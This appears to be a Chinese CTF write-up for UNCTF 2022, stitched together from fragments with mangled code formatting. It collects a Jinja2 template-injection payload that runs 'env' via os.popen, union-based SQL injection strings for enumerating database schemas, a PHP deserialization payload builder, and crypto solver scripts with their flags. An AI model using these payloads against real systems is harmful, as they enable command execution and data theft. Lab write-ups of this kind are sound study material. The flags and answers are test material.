Payload2：{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}
From infOrmation_schema.schemata),2 --+ 爆库名 -1’ union Select (Select group_concat(table_name) From infOrmation_schema.tables Where table_schema=”库名”),2 --+ 爆表名 -1’ union Select (Select group_concat(column_name) From infOrmation_schema.columns Where table_schema=”库名” And table_name=”表名”),2 --+ 爆列名
s=['44','33','0f','50','5d','0e','3a','32','58','30','2a','1a','0d','16','12','05','02','56','00','02','00','13','00','00'] for i inrange(len(s)): s[i]=int(s[i],16) code=[0]*24 code[1]=s[1] code[0]=s[0]^code[1] for i inrange(1,23,2): code[i+2]=code[i]^s[i+2] for i inrange(2,24,2): code[i]=code[i+1]^s[i] for i in code: print(chr(i),end='') #w3lc0me_7o_unctf2022!!!!
<?php class A{ public $code; function __construct(){ $this->code = 'phpinfo();'; } } class B{ public $key; function __construct(){ $this->key = new C(); } } class C{ private $key2; function __construct(){ $a = new A(); $this->key2 = $a; } } $b = new B(); echo urlencode(serialize($b));
s=[118,103,112,107,99,109,104,110,99,105] for i in s: if i==109: print(chr(i),end='') elif i<=111: if i<=110: i=i-2 print(chr(i),end='') else: i=i+3 print(chr(i),end='') #eiamflag
s='HELLOCTF' for i in range(len(s)): print(chr(2*ord(s[i:i+1])-69),end='')
flag:UNCTF{KESSYAcG}
Crypto
md5-1
很简单的md5爆破，脚本如下：
1 2 3 4 5 6 7
from hashlib import md5 withopen('out.txt','r') as f: data=f.read().split('\n') for i in data: for j inrange(128): if md5(chr(j).encode()).hexdigest()==i: print(chr(j),end='')
flag:UNCTF{e84fed028b9046fc0e8f080e96e72184}
dddd
把1换成点，把0换成杠，摩斯密码在线解密一下
flag:UNCTF{Y4S_TH1S_JUST_M0RSE}
caesar
换一个凯撒的表即可，简单脚本
1 2 3 4 5 6 7 8
dic='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' s='B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}' for i inrange(len(s)): if s[i:i+1] notin dic: print(s[i:i+1],end='') else: print(dic[(dic.index(s[i:i+1])+19)%64:(dic.index(s[i:i+1])+19)%64+1],end='') #UNCTF{w0w_Th1s_d1fFerent_c4eSar}
from hashlib import md5 withopen('C:\\Users\\WXDN\\Desktop\\md5-2\\out.txt','r') as f: data=f.read().split('\n') for i inrange(0,len(data)-1): data[i+1]=hex(int(data[i],16)^int(data[i+1],16))[2:] for i in data: iflen(i)<32: i='0'*(32-len(i))+i for j inrange(128): if md5(chr(j).encode()).hexdigest()==i: print(chr(j),end='') #UNCTF{a197271943ceb3c3fe98bcadf10c29d4}
import libnum defphase2(high_m, n, c): R.<x> = PolynomialRing(Zmod(n), implementation='NTL') m = high_m + x M = m((m^6 - c).small_roots()[0]) print(libnum.n2s(int(M)))
import Crypto.Util.strxor as xo import libnum, codecs, numpy as np
defisChr(x): iford('a') <= x and x <= ord('z'): returnTrue iford('A') <= x and x <= ord('Z'): returnTrue returnFalse
definfer(index, pos): if msg[index, pos] != 0: return msg[index, pos] = ord(' ') for x inrange(len(c)): if x != index: msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')
dat = []
defgetSpace(): for index, x inenumerate(c): res = [xo.strxor(x, y) for y in c if x!=y] f = lambda pos: len(list(filter(isChr, [s[pos] for s in res]))) cnt = [f(pos) for pos inrange(len(x))] for pos inrange(len(x)): dat.append((f(pos), index, pos))
c = [codecs.decode(x.strip().encode(), 'hex') for x inopen('Problem.txt', 'r').readlines()]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1] for w, index, pos in dat: infer(index, pos)
print('\n'.join([''.join([chr(c) for c in x]) for x in msg])) key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode()) print(key)
In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives us guidance when we are lost, and gives support when we are afraid. And the moment we give up hope, we give up our lives. The world we live in is disintegrating into a place of malice and hatred, where we need hope and find it harder. In this world of fear, hope to find better, but easier said than done, the more meaningful life of faith will make life meaningful.
from Crypto.Util.strxor import strxor from Crypto.Util.number import * withopen('Problem.txt','r') as f: data=f.read().split('\n') c=[] for i in data: c.append(long_to_bytes(int(i,16))) m='In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives usguidance when we are lost, and gives support whenwe are afraid. And the moment we give up hope,we give up our lives. The world we live in is disintegrating into a place of malice and hatred, where we need hope and find it harder. In this worldof fear,hope to find better, but easier said than done, themore meaningful life of faith will make life meaningful.' ls=[] for i inrange(0,len(m),42): ls.append(m[i:i+42]) for i inrange(11): flag=strxor(c[i],ls[i][:29].encode()) print(flag)
import random import itertools from Crypto.Util.number import * from Crypto.Util.strxor import strxor name = "unctf" key1 = b"Today_is_Thursday_V_me_50" key1_num = bytes_to_long(key1) random.seed(key1_num) s=['Q',0x19,')','T',0x18,0x1b,'(',0x03,'\t','^','c',0x08,'Q','i','F','>','P','y',0x12,'4','D','N','g','3','P'] nums=[] temptext=b'' for i inrange(25): temp_num = random.randint(1,128) nums.append(temp_num) for i inrange(25): iftype(s[i])==int: temptext+=long_to_bytes(s[i]^nums[i]) else: temptext+=long_to_bytes(ord(s[i])^nums[i]) cipher=b'7\x1a\x02\x15\x17<\x1c\x15+:\x0b\x00\x14\x07\n\x02\x0c9"1\x0e\x109A^' plain=strxor(cipher,temptext) print(plain) ''' guess=[i for i in itertools.permutations(name, 5)] for i in range(4): what = guess.pop(50) name = ''.join(j for j in what) mask = strxor(5*name.encode(),key1) print(mask) ''' # b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P' # b'7\x1a\x02\x15\x17<\x1c\x15+:\x0b\x00\x14\x07\n\x02\x0c9"1\x0e\x109A^' #b'unctf{1_l0ve_Thurs4Ay!!!}'
import hashlib withopen('1.txt','r') as f: data=f.read() for i inrange(0,len(data),32): for j inrange(128): if hashlib.md5(chr(j).encode(encoding='utf-8')).hexdigest().upper()==data[i:i+32]: print(chr(j),end='')
微信
支付宝
